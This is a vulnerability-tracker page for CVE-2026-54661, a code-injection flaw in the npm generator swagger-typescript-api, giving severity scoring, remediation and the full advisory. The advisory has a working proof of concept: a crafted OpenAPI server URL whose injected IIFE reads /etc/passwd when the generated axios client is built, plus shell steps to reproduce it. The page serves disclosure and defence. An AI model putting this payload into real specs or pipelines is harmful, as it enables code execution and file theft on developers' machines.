Skip to main content

swagger-typescript-api EUVDEUVD-2026-50365

| CVE-2026-54661 HIGH
Improper Neutralization of Special Elements in Output Used by a Downstream Component ('Injection') (CWE-74)
2026-07-29 https://github.com/acacode/swagger-typescript-api GHSA-38c3-wv3c-v3xj
8.3
CVSS 3.1 · Vendor: https://github.com/acacode/swagger-typescript-api
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Craft malicious servers[0].url in spec
  2. Delivery
    Victim generates axios client from spec
  3. Exploit
    Unescaped URL breaks string literal
  4. Execution
    Computed-property IIFE embedded in constructor
  5. Persist
    Victim instantiates new Api()/HttpClient()
  6. Impact
    Arbitrary code runs in consumer process

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Input neutralization, injection prevention
Exploitation Conditions

Exploitation requires: (1) the victim generates a client with the axios HTTP client type (httpClientType: "axios" / --http-client axios); (2) the OpenAPI spec's servers[0].url is attacker-influenced - i.e. the spec is not fully authored by the victim (attacker-hosted URL, third-party/vendor/partner spec, multi-tenant tenant-supplied spec, or a spec file a contributor can edit via PR); and (3) the victim subsequently instantiates the generated client (new HttpClient() or new Api()), which the documented top-level const api = new Api() pattern makes effectively unavoidable at module load. Limiting factors that reduce real-world risk: the flaw is in build-time developer tooling rather than a running exposed service, it does not affect the fetch client under this specific advisory (that is a separate CVE/GHSA), user interaction is required (someone must run the generator and use the output), and versions 13.12.2+ are not vulnerable. No attacker authentication is required (PR:N).

Impact

The reported CVSS 3.1 vector (AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H, 8.3 High) is internally consistent with the mechanics: network vector because specs are commonly fetched by URL, no privileges required of the attacker, but user interaction required because a victim must run the generator and then instantiate the client, and scope-changed because attacker code executes in a different security context (the consumer's process). AC:H is reasonable given the payload only fires under the axios client type and against a spec the victim did not fully author; the injection itself is deterministic once those conditions hold. There is no EPSS score, no SSVC decision, and no KEV listing in the provided data, so real-world exploitation must be judged from signals rather than telemetry: a complete, tested PoC (against 13.12.1 on Node v24.11.1) confirms exploitability, elevating this above a theoretical high-CVSS finding, but exploitation depends on a developer-tooling supply-chain path rather than a directly internet-exposed service, which limits mass exploitation. Net assessment: a genuine and easily weaponized code-injection issue in a build-time developer tool - prioritize patching in CI/CD and client-generation pipelines, while recognizing the attack requires ingesting an untrusted spec, so blast radius is bounded to teams that generate axios clients from third-party specs.

Exploit ScenarioDerived

An attacker publishes or modifies an OpenAPI spec (e.g. an attacker-hosted openapi.json, a partner API definition, or a spec file altered via pull request) whose servers[0].url contains a crafted string that closes the generated baseURL literal and adds a computed-property-key IIFE. A developer or CI pipeline runs sta generate --http-client axios against that spec and imports the result; because README usage does const api = new Api() at module top level and Api extends HttpClient, the IIFE fires on first instantiation and runs arbitrary code - the provided PoC reads /etc/passwd and writes it to /tmp/sta_canary - with the build or application process's full privileges. This matches the CVSS AV:N/UI:R profile: remote-supplied spec, but a victim must generate and use the client for the payload to trigger.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 29, 2026

Arbitrary code execution in swagger-typescript-api (npm) versions <= 13.12.1 arises when the generator emits an axios HTTP client from an attacker-controlled OpenAPI spec: the unescaped servers[0].url is interpolated raw into the axios.create({...}) call inside the generated HttpClient constructor, letting a crafted URL break out of the string literal and inject a computed-property-key IIFE that runs on every new HttpClient()/new Api(). Any consumer who generates and then instantiates the client executes attacker code with the importing process's privileges. A detailed self-contained proof-of-concept exists (exfiltrating /etc/passwd), so publicly available exploit code exists; this is not listed in CISA KEV and there is no evidence of active exploitation.

RemediationAI

Vendor-released patch: upgrade swagger-typescript-api to 13.12.2 or later (fixed release https://github.com/acacode/swagger-typescript-api/releases/tag/v13.12.2), which escapes apiConfig.baseUrl once at the source in src/code-gen-process.ts via the new escapeJsStringLiteral helper (PR https://github.com/acacode/swagger-typescript-api/pull/1779, commit https://github.com/acacode/swagger-typescript-api/commit/306d59acb8ffbb00f953f807b97234b21f51d9de); this single change closes both the axios and fetch variants. Until upgraded, only generate clients from OpenAPI specs you fully control and treat third-party, vendor, partner, or contributor-modifiable specs as untrusted input - the practical compensating control is to validate or sanitize servers[].url before generation (for example reject any value containing ", \, or newline characters), with the trade-off that legitimate but unusual server URLs may be rejected. Additionally, review any already-generated axios/fetch client files for injected computed-property keys or IIFEs in the HttpClient constructor before importing them, and pin/lock generator versions in CI so builds cannot silently regenerate against a poisoned spec.

Affected VersionsENISA

swagger-typescript-api < 13.12.2

Affected Packages

npm swagger-typescript-api fix: 13.12.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in npm

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

swagger-typescript-api is a Node.js code generator that turns OpenAPI/Swagger specifications into TypeScript API clients using the Eta templating engine. The root cause is a template-injection / code-injection class (CWE-74 per NVD, more precisely CWE-94 code injection and CWE-1336 template-engine injection): createApiConfig in src/code-gen-process.ts:591 copies swaggerSchema.servers[0].url into apiConfig.baseUrl with no escaping, and the axios template templates/base/http-clients/axios-http-client.ejs:71 emits it via Eta's raw <%~ %> interpolation directly into a double-quoted TS string literal (baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>"). Because the sink is a JavaScript object literal, statement injection is not directly possible, but a computed property key [ (IIFE)() ]: 0 executes eagerly when the object is constructed. The only escaping helper in the codebase, escapeJSDocContent, merely strips */ and is never applied here. The affected package is identified by CPE pkg:npm/swagger-typescript-api. This is the axios sibling of a separately reported fetch-client variant (GHSA-hqj5-cw9f-rx67) sharing the same upstream variable; the vendor patch also addresses enum-value injection, route-path injection, and remote-spec $ref SSRF/token-exfiltration issues bundled into the same release.

Know when Node.js gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/acacode/swagger-typescript-api) PRIMARY 8.3 HIGH
AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
vuln.today AI 8.3 HIGH

Remote attacker-supplied spec (AV:N, PR:N) but victim must generate and instantiate the axios client (UI:R, AC:H); injected code runs in the consumer's context (S:C) with full RCE (C/I/A:H).

3.1 AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
4.0 AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Primary rating from Vendor (https://github.com/acacode/swagger-typescript-api).

CVSS VectorVendor: https://github.com/acacode/swagger-typescript-api

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

DescriptionCVE.org

Summary

swagger-typescript-api interpolates servers[0].url directly into a TypeScript string literal inside the HttpClient constructor body of the generated axios client (templates/base/http-clients/axios-http-client.ejs:71), without any escaping. A malicious URL containing a " closes the string literal and exposes the surrounding *object-literal argument* of axios.create({...}) to injection. A computed property key whose value is an IIFE executes arbitrary code every time new HttpClient() (or new Api(), which extends HttpClient) is constructed. The attacker controls the OpenAPI spec; the victim is any consumer of the generated client. Impact is arbitrary code execution with the importing process's privileges.

This is the *axios* sibling of the previously reported fetch-client RCE - same upstream variable (apiConfig.baseUrl, sourced from servers[0].url), same root cause class (raw <%~ %> interpolation of unescaped spec strings), different template file and different lifecycle frame (constructor body vs class-body static field). The single most maintainable fix - sanitizing apiConfig.baseUrl once at the source in src/code-gen-process.ts:591 - closes both at once.

Details

createApiConfig in src/code-gen-process.ts:591 sets the templated baseUrl from the spec without sanitization:

ts
return {
  ...
  baseUrl: serverUrl,     // <-- serverUrl = swaggerSchema.servers[0].url, raw
  ...
};

The axios http-client template (templates/base/http-clients/axios-http-client.ejs:71) then interpolates that value into a TS string literal inside the HttpClient constructor body:

ejs
constructor({ securityWorker, secure, format, ...axiosConfig }: ApiConfig<SecurityDataType> = {}) {
    this.instance = axios.create({ ...axiosConfig, baseURL: axiosConfig.baseURL || "<%~ apiConfig.baseUrl %>" })
    ...
}

<%~ %> is Eta's raw, unescaped interpolation. The codebase's only escape function - escapeJSDocContent (src/schema-parser/schema-formatters.ts:127) - only replaces */ and is not applied to this path.

The injection sits inside a JavaScript *object literal* (the argument to axios.create({...})), so simple statement-level injection is not directly possible - but computed property keys are. A spec value of the form:

URL", [(IIFE)()]: 0, dummy: "

produces the following object literal:

js
axios.create({
  ...axiosConfig,
  baseURL: axiosConfig.baseURL || "URL",
  [(IIFE)()]: 0,
  dummy: ""
})

The IIFE evaluates eagerly when the object literal is constructed - i.e. every time new HttpClient() runs. The trailing dummy: "" reopens a string that the template's own closing " terminates, keeping the file syntactically valid TypeScript.

Lifecycle compared to the fetch sink: the fetch template emits a class-body field initializer that fires at class-definition / module load. The axios sink emits inside the constructor and therefore fires one frame later, on new HttpClient(). In practice the trigger window is identical, because:

  • Every README example in this repository does const api = new Api() at module top level.
  • Api (in default/api.ejs) extends HttpClient, so new Api() invokes the HttpClient constructor via super().
  • Top-level const api = new Api() runs at module load - the consumer cannot import without instantiating in the documented usage pattern.

PoC

Self-contained reproducer (run.sh runs end-to-end: install pinned package → generate from control + payload → bundle with esbuild → instantiate → check canary). Tested on swagger-typescript-api@13.12.1 and Node v24.11.1.

Malicious servers[0].url (literal string, JSON-encoded in the spec below):

https://api.example.com", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: "

Minimal payload spec:

json
{
  "openapi": "3.0.0",
  "info": { "title": "AxiosPayloadAPI", "version": "1.0.0" },
  "servers": [
    {
      "url": "https://api.example.com\", [(async () => { try { const fs = await import('node:fs'); const data = fs.readFileSync('/etc/passwd', 'utf8'); fs.writeFileSync('/tmp/sta_canary', data); } catch (e) {} return 'pwned'; })()]: 0, dummy: \""
    }
  ],
  "paths": {
    "/ping": {
      "get": {
        "operationId": "ping",
        "responses": { "200": { "description": "OK" } }
      }
    }
  }
}

Steps:

bash
npm install swagger-typescript-api@13.12.1 esbuild axios
node -e "import('swagger-typescript-api').then(m => m.generateApi({
  name: 'Api.ts', output: process.cwd() + '/out',
  input: process.cwd() + '/payload-spec.json', httpClientType: 'axios'
}))"
npx esbuild out/Api.ts --bundle --format=esm --platform=node \
  --external:axios --tsconfig-raw='{}' --outfile=out/Api.bundle.mjs
rm -f /tmp/sta_canary
node --input-type=module -e "
  const mod = await import('./out/Api.bundle.mjs');
  new mod.HttpClient();
  await new Promise(r => setTimeout(r, 300));
"
ls -la /tmp/sta_canary && cat /tmp/sta_canary

Generated out/Api.ts (constructor - payload, Biome-formatted):

ts
constructor({
  securityWorker,
  secure,
  format,
  ...axiosConfig
}: ApiConfig<SecurityDataType> = {}) {
  this.instance = axios.create({
    ...axiosConfig,
    baseURL: axiosConfig.baseURL || "https://api.example.com",
    [(async () => {
      try {
        const fs = await import("node:fs");
        const data = fs.readFileSync("/etc/passwd", "utf8");
        fs.writeFileSync("/tmp/sta_canary", data);
      } catch (e) {}
      return "pwned";
    })()]: 0,
    dummy: "",
  });
  this.secure = secure;
  this.format = format;
  this.securityWorker = securityWorker;
}

The [(async () => { ... })()]: 0 is a real computed object-literal key - Biome only reformats syntactically valid TypeScript, so the multi-line indented output proves it parsed. The IIFE evaluates when the axios.create({...}) argument is constructed (during the HttpClient constructor), schedules fs.readFileSync('/etc/passwd'), and writes the exfiltrated contents to /tmp/sta_canary.

Result: after new HttpClient(), /tmp/sta_canary contains the full /etc/passwd of the importing process (1470 bytes on a typical Linux host). Control spec (servers[0].url: "https://api.example.com") generates a clean baseURL: ... || "https://api.example.com" and writes no canary.

Impact

Type: Code injection in generated output (CWE-94) / template-engine injection (CWE-1336).

Affected use cases: any developer or pipeline that runs swagger-typescript-api with httpClientType: "axios" (or --http-client axios) against an OpenAPI spec they did not author entirely:

  • sta generate --http-client axios --url https://attacker.example/openapi.json - a public, third-party, or attacker-hosted spec.
  • A CI/CD pipeline regenerating axios-based clients from a vendor / partner spec on each build.
  • A multi-tenant SaaS that generates per-tenant axios clients from tenant-supplied specs.
  • Any project pinned to a spec file that a contributor can modify via PR.

Lifecycle: the injected IIFE fires when new HttpClient() is constructed. In the standard usage pattern (const api = new Api() at module top level), this is effectively at first import - Api extends HttpClient and the super() call invokes the affected constructor. A consumer cannot use the generated client without constructing it.

Privilege: the IIFE runs with the full privileges of the importing process - read any file the importer can read, write any file, exfiltrate secrets, spawn child processes, etc.

Suggested fix: sanitize apiConfig.baseUrl once at the source in src/code-gen-process.ts:591:

ts
// in createApiConfig
baseUrl: escapeJsStringLiteral(serverUrl),

where escapeJsStringLiteral produces a properly-escaped JS string literal - at minimum escaping ", \, \n, \r, \t, \b, \f, \v, \0, and the line/paragraph separators / . JSON.stringify(serverUrl).slice(1, -1) is a one-line acceptable implementation. This single change closes both this advisory and the previously reported fetch-client variant without further template edits.

If a template-side fix is preferred instead, both templates/base/http-clients/fetch-http-client.ejs:75 and templates/base/http-clients/axios-http-client.ejs:71 need their <%~ apiConfig.baseUrl %> swapped for the escaped form - fixing only one leaves the other exploitable.

Submitted by: Hamza Haroon (thegr1ffyn)

Executive ViewAI

Why It Matters

swagger-typescript-api, an npm package widely used for TypeScript API client generation, contains a critical vulnerability (CVE-2026-54661) that allows attackers to execute arbitrary code in development and production environments through crafted API specifications. With publicly available exploit code and any developer as a potential attack vector, organizations face immediate supply chain risk across their application portfolio.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 81% exploitable
Prevalence
Medium
popular npm OpenAPI-to-TypeScript client generator, common but build-time dev tool
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Social Media
3
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Total

Priority Score

62
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +42
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.

CVE-2025-68613 HIGH POC
8.8 Dec 19

Remote code execution in n8n's workflow expression evaluation system allows an authenticated user with workflow creation

CVE-2024-41713 CRITICAL POC
9.1 Oct 21

A vulnerability in the NuPoint Unified Messaging (NPM) component of Mitel MiCollab through 9.8 SP1 FP2 (9.8.1.201) could

CVE-2024-55591 CRITICAL POC
9.8 Jan 14

FortiOS and FortiProxy contain an authentication bypass via the Node.js websocket module allowing unauthenticated remote

CVE-2023-44487 HIGH POC
7.5 Oct 10

Denial of service against HTTP/2 server implementations allows remote unauthenticated attackers to exhaust server resour

CVE-2014-7205 CRITICAL POC
10.0 Oct 08

Eval injection vulnerability in the internals.batch function in lib/batch.js in the bassmaster plugin before 1.5.2 for t

CVE-2025-59528 CRITICAL POC
10.0 Sep 22

Flowise version 3.0.5 contains a remote code execution vulnerability in the CustomMCP node. The mcpServerConfig paramete

CVE-2017-14849 HIGH POC
7.5 Sep 28

Node.js 8.5.0 before 8.6.0 allows remote attackers to access unintended files, because a change to ".." handling was inc

CVE-2017-5941 CRITICAL POC
9.8 Feb 09

An issue was discovered in the node-serialize package 0.0.4 for Node.js. Rated critical severity (CVSS 9.8), this vulner

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2014-3744 HIGH POC
7.5 Oct 23

Directory traversal vulnerability in the st module before 0.2.5 for Node.js allows remote attackers to read arbitrary fi

CVE-2014-9566 HIGH POC
7.5 Mar 10

Multiple SQL injection vulnerabilities in the Manage Accounts page in the AccountManagement.asmx service in the Solarwin

CVE-2013-4660 MEDIUM POC
6.8 Jun 28

The JS-YAML module before 2.0.5 for Node.js parses input without properly considering the unsafe !!js/function tag, whic

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy